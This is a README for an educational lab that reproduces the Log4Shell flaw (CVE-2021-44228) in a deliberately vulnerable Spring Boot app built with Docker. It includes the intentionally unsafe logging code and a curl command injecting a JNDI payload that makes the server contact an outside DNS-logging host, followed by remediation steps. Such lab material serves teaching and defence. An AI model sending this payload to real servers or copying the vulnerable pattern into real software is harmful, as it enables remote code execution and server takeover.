🔓 Log4Shell Vulnerability Demonstration (CVE-2021-44228)

This project is a controlled test environment allowing you to reproduce and understand the critical Log4Shell vulnerability (CVE-2021-44228) affecting the Apache Log4j library.

📁 Project Architecture

Secutp1/
├── Dockerfile                           # Docker image build
├── pom.xml                              # Maven dependencies (vulnerable Log4j 2.14.1)
├── README.md                            # This file
└── src/
    └── main/
        └── java/
            └── com/
                └── example/
                    └── VulnerableApplication.java   # Vulnerable Spring Boot application

🎯 Objective

Demonstrate how an attacker can exploit the CVE-2021-44228 vulnerability to force a server to perform an unauthorized outbound network connection, simply by sending a malicious string.

🔍 Vulnerable Code Analysis

1. Dependency Management (pom.xml)

The pom.xml file forces the use of Log4j 2.14.1, a version prior to the security fix:

<log4j2.version>2.14.1</log4j2.version>

This version contains the JndiLookup class enabled by default, which is the root cause of the issue.

2. Java Application (VulnerableApplication.java)

The application exposes a REST web service. The vulnerability lies in the index method:

@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
    // THE VULNERABLE LINE:
    logger.info("Request received, input: " + input);
    return "Hello! Your input has been logged: " + input;
}

Problem: The application retrieves a user parameter (input) and passes it directly to logger.info() without any filtering. Log4j then interprets the content as a potential command.

3. Docker Infrastructure (Dockerfile)

The Dockerfile uses a two‑stage build:

• Stage 1: Compilation with Maven (maven:3.8.4-openjdk-11)
• Stage 2: Execution with eclipse-temurin:11-jre

💡 The use of Java 11 is relevant because newer versions restrict remote class loading by default.

⚙️ Attack Mechanism

The exploitation relies on JNDI (Java Naming and Directory Interface) injection:

1. Log4j detects the ${jndi:protocol://url} syntax in logs
2. It dynamically attempts to connect to the specified URL
3. In a real scenario, this allows downloading and executing a malicious Java class (RCE)

🧪 Step‑by‑Step Exploitation Procedure

Step 1: Preparation

Ensure the following files are in the same directory:

• Dockerfile
• pom.xml
• src/main/java/com/example/VulnerableApplication.java

Step 2: Build the Docker Image

docker build -t vulnerable-app .

This command downloads the Maven dependencies (Log4j 2.14.1) and creates the image.

Step 3: Launch the Container

docker run -p 8080:8080 --name demo-log4j vulnerable-app

The application now listens on port 8080.

Step 4: Prepare the Witness (Listener)

1. Go to a DNS logging service:

   • dnslog.cn
   • dnslog.org
   • Burp Collaborator

2. Copy the provided address (e.g., my-test.dnslog.cn)

Step 5: Inject the Payload

In a new terminal, run the following command:

curl "http://localhost:8080/?input=\${jndi:ldap://my-test.dnslog.cn/a}"

📝 Note: The \ character escapes the $ in the terminal.

Step 6: Verification

Go back to the dnslog site. You will see a DNS query appear, confirming that the server executed the injected code.

📊 Expected Result

🚨 Conclusion

The server made an outbound connection to an external machine simply by logging a user request.

In a real scenario, this connection would have allowed:

• Downloading a malicious Java class
• Executing arbitrary code (RCE – Remote Code Execution)
• Taking full control of the server

🛡️ Remediation

To fix this vulnerability:

1. Update Log4j to version 2.17.1 or later
2. Disable JNDI lookups: -Dlog4j2.formatMsgNoLookups=true
3. Remove the JndiLookup class from the classpath

📚 References

• CVE-2021-44228 - NVD
• Apache Log4j Security Vulnerabilities
• ANSSI - Log4Shell Vulnerability

📜 License

This project is provided for educational purposes only. Use it responsibly and ethically.